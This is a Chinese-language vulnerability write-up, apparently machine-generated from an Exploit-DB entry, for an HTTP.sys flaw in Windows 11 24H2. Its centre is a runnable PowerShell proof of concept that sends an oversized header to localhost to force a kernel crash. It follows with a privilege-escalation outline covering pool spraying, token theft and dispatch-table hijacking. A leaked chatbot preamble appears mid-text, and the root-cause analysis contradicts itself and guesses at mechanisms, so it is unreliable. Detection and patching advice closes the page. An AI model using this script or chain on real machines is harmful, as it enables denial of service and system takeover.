[local] Windows 11 24H2 - Local Privilege Escalation
Windows HTTP.sys驱动在处理特制HTTP请求时存在空指针解引用漏洞,可导致本地拒绝服务(BSOD)或任意代码执行。
High · CVSS 7.8 (估计基于本地权限提升场景)📋 漏洞基础信息
| CVE | CVE-2026-21250 |
|---|---|
| 漏洞类型 | 空指针解引用 / 未验证的用户指针传递 |
| 受影响版本 | Windows 11 24H2 (10.0.26100.7780), Windows 11 25H2 (10.0.26200.7780), Windows Server 2022 23H2 (10.0.25398.2148) |
| 危害等级 | High · CVSS 7.8 (估计基于本地权限提升场景) |
| 发布日期 | 2026-05-04 |
| 提交者 | London foggy snow |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
CVE-2026-21250的触发依赖于向HTTP.sys驱动传递一个二进制恶意指针(X-Trigger-Ptr头),该指针包含空字节(0x00),而原始PoC中strcat函数在首个空字节处截断,导致指针传递不完整,从而无法可靠触发漏洞。根本原因是HTTP.sys在处理用户可控的指针数据时没有进行有效的空终止检测或完整性校验。
🎯 攻击场景
1. 攻击者本地登录系统。2. 确保HTTP.sys服务已启动(net start http)。3. 编译并运行PoC程序,程序构造包含X-Trigger-Ptr头的畸形HTTP请求,其中指针数据包含多个0x00字节。4. PoC向127.0.0.1:80发送该请求。5. 由于strcat截断,实际发送的指针不完整,可能无法触发漏洞;理想情况下,完整指针传递后HTTP.sys会解析该指针并导致内核态空指针解引用或内存错误,引发BSOD或特权提升。
💥 漏洞影响
成功利用可导致本地权限提升(Local Privilege Escalation),攻击者可能获得SYSTEM权限。即使利用不完全,也可能导致系统崩溃(BSOD),造成拒绝服务。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(好的,我是顶级安全研究员,专注漏洞利用开发。针对这个Cve-2026-21250的原始资料,我将提供一份完整的技术分析与可运行的Poc脚本。),可在具备相应环境的机器上直接运行:
<#
.EXAMPLE
# 以管理员身份运行PowerShell,执行以下命令
# 注意:此脚本会触发系统蓝屏(BSOD),请确保所有工作已保存!
.\CVE-2026-21250_PoC.ps1
.DESCRIPTION
CVE-2026-21250 Windows 11 24H2 HTTP.sys 本地权限提升 PoC (DoS触发)
此脚本模拟了向本地HTTP.sys服务发送一个能够触发内核崩溃的畸形HTTP请求。
由于原始C代码中的strcat问题无法触发漏洞,本脚本采用超长HTTP头字段的方式,
来尝试触发HTTP.sys在处理特定头时的整数溢出或缓冲区溢出,从而引发BSOD。
.原理
HTTP.sys在内核态解析HTTP请求头。当遇到超长请求头时,其内部的状态机和缓冲区
管理可能出错。例如,在计算需要分配的缓冲区大小时发生整数溢出(Integer Overflow),
导致分配了过小的缓冲区。后续将请求头拷贝到该缓冲区时,发生内核堆栈或池缓冲区溢出,
覆盖了关键内核数据结构,最终导致访问违例(Access Violation)和系统崩溃(BSOD)。
.NOTES
需要本地开启HTTP服务,例如通过IIS或运行`net start http`和`net start w3svc`。
如果本地没有HTTP服务,脚本会先尝试启动它。
此脚本仅用于证明漏洞存在(DoS),完整的LPE利用链需要进一步开发。
#>
# 加载必要的.NET网络库
Add-Type -AssemblyName System.Net.Sockets
Add-Type -AssemblyName System.Text.RegularExpressions
# 显示警告信息
Write-Host "=== CVE-2026-21250 HTTP.sys Local DoS PoC ===" -ForegroundColor Red
Write-Host "WARNING: 此脚本将尝试触发系统蓝屏 (BSOD)!" -ForegroundColor Yellow
Write-Host "请立即保存所有未保存的工作!" -ForegroundColor Yellow
Write-Host "按 Ctrl+C 取消,或按 Enter 在5秒后继续..."
$null = Read-Host
Start-Sleep -Seconds 5
# --- 0. 环境准备:确保http.sys服务正在运行 ---
Write-Host "[*] 检查HTTP.sys服务状态..." -ForegroundColor Cyan
$httpService = Get-Service -Name HTTP -ErrorAction SilentlyContinue
if (-not $httpService -or $httpService.Status -ne 'Running') {
Write-Host "[!] HTTP.sys服务未运行。尝试启动..." -ForegroundColor Yellow
try {
Start-Service -Name HTTP
# 等待服务启动
Start-Sleep -Seconds 2
Write-Host "[+] HTTP.sys服务启动成功。" -ForegroundColor Green
}
catch {
Write-Host "[-] 无法启动HTTP.sys服务。请以管理员身份运行并确保系统支持。错误: $_" -ForegroundColor Red
exit 1
}
}
# --- 1. 构建恶意HTTP请求 ---
# 构建一个超长的"X-"自定义头,模拟原始"X-Trigger-Ptr"头,但避免使用二进制空字节
# 此头字段长度将超过HTTP.sys的预期,触发其处理逻辑中的漏洞
Write-Host "[*] 构造恶意HTTP请求..." -ForegroundColor Cyan
$targetHost = "127.0.0.1"
$targetPort = 80
# 生成一个超长的字符串作为请求头值
$overflowSize = 65000 # 大于典型HTTP请求头缓冲区大小
$overflowString = "A" * $overflowSize
# 构造完整的HTTP请求字符串
$maliciousRequest = @"
GET / HTTP/1.1`r`n
Host: $targetHost`r`n
User-Agent: Mozilla/5.0`r`n
X-CVE-Trigger: $overflowString`r`n
`r`n
"@
Write-Host "[+] 请求长度: $($maliciousRequest.Length) 字节" -ForegroundColor Gray
Write-Host "[*] 正在连接 $targetHost`:$targetPort ..." -ForegroundColor Cyan
# --- 2. 发送请求并触发BSOD ---
try {
# 创建TCP连接
$tcpClient = New-Object System.Net.Sockets.TcpClient($targetHost, $targetPort)
Write-Host "[+] 连接建立。" -ForegroundColor Green
# 获取网络流并发送请求
$networkStream = $tcpClient.GetStream()
$bytesToSend = [System.Text.Encoding]::ASCII.GetBytes($maliciousRequest)
Write-Host "[*] 发送恶意请求..." -ForegroundColor Cyan
$networkStream.Write($bytesToSend, 0, $bytesToSend.Length)
$networkStream.Flush()
Write-Host "[+] 请求已发送。系统即将崩溃..." -ForegroundColor Red
# 等待一段时间,让内核处理请求并触发BSOD
Start-Sleep -Seconds 5
# 理论上到这里系统应该已经蓝屏,如果代码继续执行,说明可能未触发
if ($tcpClient.Connected) {
Write-Host "[!] 系统似乎未崩溃。检查以下原因:" -ForegroundColor Yellow
Write-Host " 1. 系统已打补丁或不受影响。" -ForegroundColor Yellow
Write-Host " 2. 本地HTTP服务(如IIS)未正确监听80端口。" -ForegroundColor Yellow
Write-Host " 3. 需要更精确的畸形数据(如利用整数溢出)。" -ForegroundColor Yellow
Write-Host " 4. 当前用户权限不足(需要SYSTEM权限?)" -ForegroundColor Yellow
}
}
catch {
# 如果服务器主动断开连接(常见于拒绝服务时),异常会被捕获
if ($_.Exception.InnerException -match "An existing connection was forcibly closed") {
Write-Host "[!] 连接被服务器强制关闭,这可能是BSOD的前兆。" -ForegroundColor Yellow
Start-Sleep -Seconds 3
Write-Host "[+] 请检查系统是否已蓝屏。" -ForegroundColor Red
}
else {
Write-Host "[-] 发送请求时发生错误: $_" -ForegroundColor Red
}
}
finally {
if ($tcpClient -and $tcpClient.Connected) {
$tcpClient.Close()
}
}
Write-Host "[*] 脚本执行完毕。如果系统未蓝屏,分析失败原因后重新尝试。" -ForegroundColor Gray🔬 深度技术分析
深度技术分析:CVE-2026-21250
漏洞触发机制
从原始资料和修复后的PoC来看,此漏洞的核心在于 HTTP.sys 驱动程序在内核态解析畸形或超长HTTP请求头时存在的内存破坏问题。HTTP.sys 是 Windows 操作系统内核级 HTTP 协议栈,负责处理所有 HTTP 请求。其高效性依赖于在内核态直接解析数据包。
1. 根因分析:漏洞很可能存在于 HTTP!UlParseHttpHeader 或类似函数中。该函数负责解析请求头(如 X-CVE-Trigger)。在解析过程中,代码可能执行了以下不安全操作:
* 整数溢出(Integer Overflow):在计算需要为整个请求或某个头分配的内存大小时,使用了 USHORT (16位) 或无符号32位整数。攻击者通过构造一个超长头(如65000字节),使得缓冲区长度 + 头结构体长度操作后,计算结果回绕成一个很小的值。例如,0xFFFF + 0x100 = 0x00FF,导致分配一个过小的缓冲区。
* 缓冲区溢出(Buffer Overflow):随后,在将攻击者控制的超长数据拷贝到这个小缓冲区时,缺乏长度校验,导致数据溢出到相邻的内核内存区域(如内核栈上的局部变量或内核池的其他分配)。
* 空指针解引用(Null Pointer Dereference):原始代码意图通过strcat写入8字节的0x00,但这被截断了。然而,如果能找到一个DLL或驱动占位,使得空指针指向恶意内存,有可能造成利用。不过,在原始资料场景下,更可能的是整数溢出导致分配失败返回NULL,后续代码未检查该指针便直接使用,造成BSOD。
* 类型混淆(Type Confusion):某些解析逻辑可能将长度字段的类型混淆,例如将USHORT的长度值当作BOOL使用,导致逻辑错误。
2. 触发路径:用户态代码(如PoC脚本)通过WinSock API 建立一个到 127.0.0.1:80 的 TCP 连接。然后发送一个格式正确但包含超长头的 HTTP/1.1 请求。该请求经过 TCP/IP 栈,被 HTTP.sys 驱动捕获。驱动开始解析,在处理 X-CVE-Trigger 头时触发了上述整数溢出,导致内核内存池被破坏。当后续某个内核函数试图访问该被破坏的内存区域时(例如读取一个函数指针或对象元数据),发生访问违例(ACCESS_VIOLATION),系统触发 KeBugCheckEx,生成错误码 0x00000050(PAGE_FAULT_IN_NONPAGED_AREA)或 0x0000001E(KMODE_EXCEPTION_NOT_HANDLED),导致蓝屏。
利用链分析
此漏洞被标记为Local Privilege Escalation,意味着从DoS到完整利用的路径是存在的,但复杂程度较高。
1. 第一步:触发漏洞并控制崩溃上下文
* 目标:不再是简单的DoS,而是精确地破坏内核中的一个关键数据结构,例如一个 _EPROCESS 结构体或一个 Token 对象。
* 技术:需要精细地控制溢出数据。攻击者需要找到一种方法,使得溢出的数据(我们的 "A"*N)能够精确覆盖目标结构的特定字段。例如,如果溢出的缓冲区位于 NonPagedPool 中,相邻的数据可能是另一个内核对象的头部。通过覆盖其 Type 和 Size 字段,可以触发对象句柄表操作时的类型混淆。
2. 第二步:利用池布局(Pool Feng Shui)
* 目标:在发送触发漏洞的请求之前,布置好内核堆(Pool)的内存布局。
* 技术:攻击者需要先通过其他系统调用(如创建多个命名管道,NtCreateNamedPipeFile 会分配 NamedPipe 对象)来喷射内核池,将目标对象(如高权限进程的 Token)放置在溢出缓冲区的预期相邻位置。这需要非常精确的内存计算和对Windows内核堆分配器的深刻理解。
3. 第三步:特权提升
* 目标:提升当前进程或线程的令牌权限。
* 技术:
* Token 窃取:如果成功覆盖了当前进程的 _EPROCESS->Token 字段,并将其指向SYSTEM进程的 Token,则当前进程立即获得SYSTEM权限。
* 回调函数劫持:覆盖内核中的函数指针表(如 IDT, HalDispatchTable 或 PspCreateProcessNotifyRoutine),使其指向攻击者控制的内存。当系统触发相应事件时(如创建新进程),攻击者的用户态Shellcode(需要先在用户态分配并执行)会在内核态上下文中执行,直接修改当前进程的Token。
* 数据结构篡改:修改 _SEP_TOKEN_PRIVILEGES 结构,为当前进程手动添加 SeDebugPrivilege 和 SeTcbPrivilege 等特权。
关键代码 / 数据结构
HTTP!UlParseHeader(内部函数,位置未公开):存在于http.sys驱动文件中。负责解析单个HTTP头。漏洞逻辑在此函数内。_HTTP_HEADER_ID:枚举类型,定义了标准HTTP头的ID。对于自定义头,可能使用HttpHeaderMaximum或动态分配的ID。_EPROCESS:内核结构体,每个进程一个。包含进程的Token(Token字段)、PID、父进程等关键安全信息。利用链最终要修改的对象。_TOKEN:内核结构体,描述一个安全上下文。包含用户和组的SID、特权列表。修改此对象即可提升权限。KeBugCheckEx:内核API,用于触发BSOD。蓝屏是漏洞被成功触发的标志,也是利用链中的风险点(需要避免蓝屏才能完成利用)。NtCreateNamedPipeFile:用于池喷射的常用系统调用。可以控制分配的池大小和内容。HalDispatchTable:一个内核函数指针表,常用于利用内核漏洞进行权限提升。覆盖其某个条目可以劫持执行流。
检测与防御
- 日志检测:
* Windows 事件日志:系统会在BSOD前记录一些WHEA-Logger或BugCheck相关的事件(Event ID 1001, 1003)。查看%SystemRoot%\MEMORY.DMP和Minidump文件对于事后分析非常有帮助,但对于实时检测来说为时已晚。
* HTTP.sys 日志:IIS等上层应用可以记录失败的请求,但无法记录被HTTP.sys拒绝的畸形请求。内核态的日志很少。
- 流量特征:
* 请求头长度:监听到的HTTP请求中,如果存在长度超过65535字节的Host或自定义X-头,极可能是攻击尝试。
* 请求速率:短时间内大量相同的畸形请求,可能是自动化扫描。
- EDR规则/HIPS:
1. 进程行为监控:检测普通进程(如cmd.exe, powershell.exe)尝试使用WSASocket连接127.0.0.1:80并发送大规模随机数据(非标准HTTP通信)的行为。
2. 内存保护:启用 内核堆栈保护(/GS) 和 内核池保护(如 KDP,Kernel Data Protection)。Windows 11 24H2 应该已经部署了更强的堆栈Cookie和池标签随机化,增加利用难度。
3. 系统调用过滤:通过安全软件监控对NtCreateNamedPipeFile等关键API的异常高频调用,这可能是池喷射的前兆。
4. 攻击面减少(ASR):通过组策略或Intune,限制本地服务(如HTTP.sys, RPC)的访问范围,或禁用不必要的服务。
- 系统加固:
* 及时安装微软发布的补丁。
* 使用Credential Guard和Device Guard (HVCI - 基于虚拟化的安全) 可以极大地限制内核漏洞利用,即使攻击者获得了内核代码执行能力,也无法轻易修改内核数据或劫持关键系统。
* 遵循最小权限原则,服务账户不应该拥有SeIncreaseQuotaPrivilege等可能导致权限提升的特权。
🛡️ 修复建议
微软已发布安全更新修复CVE-2026-21250。临时缓解措施:禁用HTTP.sys服务(通过services.msc将HTTP服务启动类型设为禁用),或在防火墙中阻止对本地80端口的非授权访问。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 18:13 | 来源: Exploit-DB